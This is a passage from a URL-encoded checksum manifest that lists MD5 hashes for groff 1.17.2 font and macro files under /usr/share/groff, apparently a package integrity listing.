groff%2F1.17.2%2Ffont%2FdevX75%2FNBI%0A49faf75e809c4565ff7bf1485b12b5b2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75%2FNI%0Ac387a5a83d0fa49132a561fc7d15e146%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75%2FNR%0A24aba5960d823abb441f8fe54e0cc1f2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75%2FS%0A1672f2487696b6090b89049a8815bc58%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75%2FTB%0Ae589216a002536088fbae8a3d24178d1%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75%2FTBI%0Aeec2ac1a28f38e0941aa237893f4ecd3%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75%2FTI%0Adfef8a3c4270f57a46b55990138b3aa1%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75%2FTR%0A8106d980f91cbb81c5d5754d6895a779%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FDESC%0Aceb4f33b6f778bfe86e1c05746b4e446%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FCB%0A0e5101be36092efc5117ec660dfe7e7c%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FCBI%0Aa6ffebc923f81df6a578a709c30b3f02%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FCI%0A7f6689333c33fc8ab211a11430d024ba%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FCR%0A6aaeb135484b8ebd9f093fe41cc41e15%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FG%0A81ebd765bb2446a41833a0fc360799b2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FHB%0A3c3e2f1a2f687fa1549628212071c1fa%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FHBI%0A66b9e296934b0f9e428ff9a016756e4d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FHI%0A45d3289ed1d01160c91c13898970a5c0%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FHR%0A7ecd6ca96961433c337a1af8aadb4ac3%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FM%0A80b563ab5417cb7d7dbb28bef8254037%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FNB%0A3c33e3ba5b234d0d3c5e0977bdb70a84%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FNBI%0A1419e275db0bb476f91850f7e07cab6b%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FNI%0A748eae2c2db13102450626740b84ead4%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FNR%0Ad6370c81498822e9730b7776638476c1%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FS%0A5a3eba9fe5fa84c4fd0ee14289576f6a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FTB%0Ad2e5e53da88b39477f502e9633db7cd6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FTBI%0A52e74f30bf8315ad8f148a437ff544e2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FTI%0Acea8e50a6628fbd6b12ebd9ac58b5d8d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2FdevX75-12%2FTR%0A8e2016279a05ba58aa5cea5da3a5af23%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii%2FDESC%0A32fdd930a60a471558f57fad7f67badd%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii%2FB%0A008bca2dd75295732fc9e52fd7726d5b%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii%2FBI%0Ae94befc84474bb4f18773aba1dff5db3%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii%2FI%0Af770753fe1f1a004764339ad3251857d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii%2FR%0A8e2016279a05ba58aa5cea5da3a5af23%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii8%2FDESC%0A2228b1d817d23342ea63f081b37746f7%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii8%2FB%0A1b489eaa7ca5c3b45b4168cab21192cc%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii8%2FBI%0Af7939bc26e7394dff20f6b733f510d9c%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii8%2FI%0Af8ee601ef999a16d2b061d9982e64626%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevascii8%2FR%0Af64d97127ed836133994f048247186fd%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FDESC%0A21f0b631c2a66701b0f04632b4beb59f%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FB%0Ab6a17f2b37c2bd3a3ac13bc10ba35804%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FBI%0A8c75865228aaeb47c758d1784c913752%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FCW%0Ab89df1cbf31a14aa16763a15335e45d9%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FCWI%0Ac0502f55b110ac0376726e7a1584acc2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2FCompileFonts%0Aba6d20463af0f8711b4f06e9d5e1542d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2FMakefile%0A5f54b0303222fbd3692d5d62be714e7f%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Fmsam.map%0A88d8775b392cddb76949cfb8f57cd69b%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Fmsbm.map%0A0e80906114d2c7c654b98107a07520c1%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Ftexb.map%0A5e572480f56a3712a2ffc8983a67b7d9%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Ftexex.map%0Aad0371fe9e7d0633441f1e8189669a61%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Ftexi.map%0A1188d2df41a395556b43cc968d2e3c1b%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Ftexmi.map%0A0e4b8bebeeb1f3c23dd91aa22a2dd8fd%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Ftexr.map%0Aa69367e6a882e3516dd3d38b63ea8fbd%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Ftexsy.map%0A3425a6305b244272286c559851cd29d0%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2Fgenerate%2Ftextt.map%0Ac37c189bbd60283c65917ed54cb8df68%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FEX%0Ad6cc43c8283d5a6f0e4b52e61c8cc29a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FG%0A5a91a35f69f2f4fcf3f4f8a6e695064f%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FH%0A25f4eaa83cbc644c02e0cf6afe3355b5%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FHB%0A522055e17855d21542feb0080fc8e898%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FHI%0Aff56d05c9460be5d20b0651674e7a8bc%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FI%0A6d1f0a5ce3a6600925129859fde58b69%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FM%0A6e62126a8421db389a8cf0dc8525d305%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FMI%0A90557e022e72c5f8f80198a4b5a744be%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FR%0A9991e0f10ec25c4939d7959d7c66f0ea%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FS%0A0bc6f2bb86e2bf044cd0852a43985525%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FSA%0Abb8c8e9a677c4af95faf6ca234653313%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevdvi%2FSB%0Ab7b42be8df409bfa17664e48063a8ceb%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FDESC%0A7b8e8d43ff20b837f5d2461a68e18581%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FB%0A659bf6f9c4de003bd4438dd480f10e42%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FBI%0A025561a1a69dcb25e592410de57fd64c%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FCR%0A172d063496e91f368f8d659dbbf3a5e0%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FG%0A66987146bd786c573d6938c43bd39268%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FI%0Ab26be73dc7fb733fe5f623ea4f096fab%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FM%0A50dbc7855f965f47b5ff38f82925b7f2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FR%0A7e451599166f23da8af37ef13f81de0a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevhtml%2FS%0A8e2016279a05ba58aa5cea5da3a5af23%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlatin1%2FDESC%0A2aa1ab6753690526d0b433d13d046667%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlatin1%2FB%0A267895b1cdd9e3e7e65e3585201ff459%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlatin1%2FBI%0Af24c287d2c7c45b75746d2267ca9ed9e%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlatin1%2FI%0Acf7473be518c7190691db85f0ff3777d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlatin1%2FR%0A324c3498daab386e2ba26b423baeeed2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FDESC%0A4fe8437aa78efaf34fdd06aa85a4fd1d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FHB%0Adfa20a3683ea4a7304b4e4af5efa35c3%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FHBI%0A5fe48f3c086f196545b9cb2836d8b494%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FHI%0A824726827cc75294da5e24eade08ea1d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FHR%0A978ab527cdd04a09d35d8c202f799459%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FTB%0A8b40c60fbcd553e8c2f9737f99e1a794%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FTBI%0Ae5c3d707956e80ac7b32a7bfaf63a2a6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FTI%0A599c5648b1e1cf0055da3bc7e134fc40%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlbp%2FTR%0A03680519b3cf9c50f47416d608302b57%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FCLARENDON%0A8c0c470d343ef93fb9d099eb1b6d0bb6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FALBB%0A599ea3ba8ea7f8130f46d9b390154a73%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FALBR%0A0a2364e6181c8a26a04ab12371edc1d2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FAOB%0A72d9c8254a714c7995ee58b0a71ae024%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FAOI%0A85622bf34e86c551845d5c3dddea6c77%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FAOR%0A9ae8d7ad851b310d61863405d7e3a27d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FCB%0A31254b195eda7b4232093a1e09b5a6ac%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FCBI%0Ae0b6af5ccbb2948eaf86d7ae134ad0d1%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FCI%0A6f0e607e2882e96f97ab7e403522d469%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FMARIGOLD%0Afda8469119b8d67c93f74f982752e07e%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FCORONET%0Ac12eb98f59c5ce55475f13bf81356964%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FCR%0Aec17e13afb6322403596edf991d716fb%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FDESC%0A33d7fed857e9224b18b4208c0e7573d5%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FGB%0A2e517bbce8d608782ccfe47f783e9c46%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FGBI%0A06e2f3c9d57f05e6585b77d1ae533a0a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FGI%0Aec323a9cf690cbbf0c4afc48245009b5%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FGR%0Ad1b42ad57f799420a40b963f8e2b7b00%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FLGB%0A0e779732eba4c1b395c3f01faacaf061%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FLGI%0A5c6872901488489aafe465529faff760%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FLGR%0Ac24d8d50ab4166b43c2e0afad6b52cf6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUCBI%0Adaad5efeeb9e8e5905769c416b1886d2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FOB%0A8288d1f903ff5aa4a6dcc78ac0307866%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FOBI%0Ae4753d2ec42f9df7de8a156df6801582%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FOI%0Ad4fa1c5e8f39c7d8a215c642d023c253%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FOR%0Aca2d44e78a668375a9bc5a7f40d901ac%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FS%0A8d88053189fec8733c921bf15a91bc70%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FTB%0A4eb305058d76670e9a634367c2b264b3%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FTBI%0Acc1df4192dce0e48ab89624dc0050d91%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FTI%0A2b050fb882178fa5a8c0e445fa9f2323%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FTR%0A30382bc4ed44dbda06572ffa8e1bf735%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUB%0Adcce80e224a3dbe44746b8edffe7b4d7%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUBI%0Ac864a1c8280893b47303de1be52845c6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUCB%0Ada00a01b4d7536a51ff9be41d02fb4e6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2Fgenerate%2FMakefile%0Aa08288b524f57cdfd96e81281b6c94d9%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2Fgenerate%2Fspecial.map%0Ae3895559e38031318fda37934338be68%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2Fgenerate%2Ftext.map%0A6e91301029bb5be9c670f4f99f8abb91%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUCI%0A86cb6f84caddf92947decf884bfe27f8%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUCR%0A242cc1e4ed9cc605b5a33eb1ee33b007%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUI%0A1a5e2f8f9015f7649cb9fafbeacab391%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevlj4%2FUR%0A140291147340bb3339b8d0fcedc8ee16%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevnippon%2FDESC%0A32fdd930a60a471558f57fad7f67badd%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevnippon%2FB%0A008bca2dd75295732fc9e52fd7726d5b%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevnippon%2FBI%0Ab8de97f52bb6a1af497d2b40b8241261%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevnippon%2FG%0Ae94befc84474bb4f18773aba1dff5db3%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevnippon%2FI%0A231cdae73fbe51e06bedfa200b8e2a7f%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevnippon%2FM%0Af770753fe1f1a004764339ad3251857d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevnippon%2FR%0A47e9623da0c07d458afa07769edaaf04%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FBMBI%0A0c84c0aaeb5cdf96b79a64162a1b7e31%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FAB%0A120e0685277147d05588844beee2c444%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FABI%0A0b6c6da2874c3adaf58ba4d2562287d9%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FAI%0A3f41a4eac908c9236ea3018d32e77a1b%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FAR%0Ab2ed3b6b5b7c55fdeae0c4bfdcb519c4%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FBMB%0A65ecf92884e62e90e9280ba4b4458bd1%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FDESC%0Ad23b1618277488f162383ad3599e66f4%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FBMI%0Ac0a847f74d616c6373543962242cbb49%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FBMR%0A1f5552e51a9d2a25210b5ef25f7db556%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FCB%0Abf9926bce0336b7b3277735c95e9a102%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FCBI%0A8555001d9b7103c8b8709a5a9a328a73%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FCI%0A33918efa66f16f3e900d8a896f836a69%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FCR%0A8c55fdc2a632c4f7d6971ea04db56f3f%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHNBI%0A4635c68f90404b4608fc5e97c2d3e9d2%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FG%0A22268bfceb61d492441b5ab1c38b2ffd%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHB%0A54d27158f8ff49e4ffdc56dafb36b14d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHBI%0Ae99f902466115ba72dcfb7ff00a8cb80%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHI%0A7e041d9f34157ad562ae17adf24ef3f0%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHNB%0A999554bb6934deb9959e09e40dda96bb%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FZCMI%0A254c70c2b91e1ce64cb6fc7acc99a3bb%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHNI%0A8d626d30215e3fe7f69b684246c5f9ef%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHNR%0Ab4a2fc6eb0dff5a6684d9de59c83d16a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FHR%0A1b56cd59fdfc588beef61b20f1d5964a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FM%0A454fe6ecef5af044b804bbf6aaf76451%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FNB%0A24aa71ebf33b1ac5e26c60849a122b4f%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FNBI%0A90443c08b0dc506ee76620e7124dee4d%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FNI%0A43ff429d63052509f7081acca1e8f5ca%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FNR%0A535476f014e95d25a82cc97177de09a3%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FPB%0A0ab16d6ae5094903c4ec52769356c8c7%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FPBI%0Aeb62cfaab280bfb700f36c2e4141ea20%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FPI%0A3aa880ea5e62333c620ac34ca220c2dd%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FPR%0A1afed3642a276cac9d5f4dea3673b349%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FS%0A145c2dda60121ae7f22e6410acd1b5bc%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FSS%0A38e83d448575ed487a4fec9da4f57eea%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FTB%0A67dbd868e1291309d4832d9cbac9a332%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FTBI%0A339bc8deb129301ed352d15f7d78700b%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FTI%0A705aaf78db072722479b8f96e6bf7d37%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FTR%0A4094694bde33174db2997b0f27f17051%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fdownload%0Ab6c769225e7e60e5903ef3e1930a8201%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FZD%0A7a0393e0073bd1bf34d52523561b43c6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2FZDR%0Acfc086bf218834497c008d5db02132bf%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Fdingbats.map%0A7fb1e4f4b6d968346ada17804dd0758a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2FMakefile%0A66b182cc46be5b4d6d2cb291cd1a7f1a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Fafmname%0Ab2c8d735a3580123770c32bd04f340d5%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Fdingbats.rmap%0Af29a4f54d6d8bbac91442871dbeebd06%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Flgreekmap%0A2658a599c661046f6d2bd403ffd46570%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Fsymbol.sed%0A400a8f17d5d20f67d160c90cd9a679c4%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Fsymbolchars%0Ab06dec433e8e3ecaf541f998ca9368fe%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Fsymbolsl.afm%0A44dc04b8ede3a83415153976fd53cc89%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fgenerate%2Ftextmap%0Ad49ac154bfe21d0e15c97792aada4517%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fsymbolsl.pfa%0A63b7d6d594ba3a515f00e6baa90ccb08%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fprologue%0A8a050565149847f8326e9d606f3ed233%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Ftext.enc%0Ad1beb4179d648630be4eedefa39964a4%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevps%2Fzapfdr.pfa%0A8e2016279a05ba58aa5cea5da3a5af23%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevutf8%2FDESC%0Ac672399614d15ff6871469622aefb0f6%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevutf8%2FB%0Ad6056b35b1574f094f595151db49960a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevutf8%2FBI%0A385662beb4ff9d4a1291430ebb56d53e%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevutf8%2FI%0Ac1ade7588621e61d7b7f546eb3c3c65a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ffont%2Fdevutf8%2FR%0Ad502fd08500a3697b4b69e79a0b7c818%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ftmac%2FXps.tmac%0A7165e2c404405067c56e4b316957161a%20%20%2Fusr%2Fshare%2Fgroff%2F1.17.2%2Ftmac%2FX.tmac%0Ac6bb5e2fa2b4a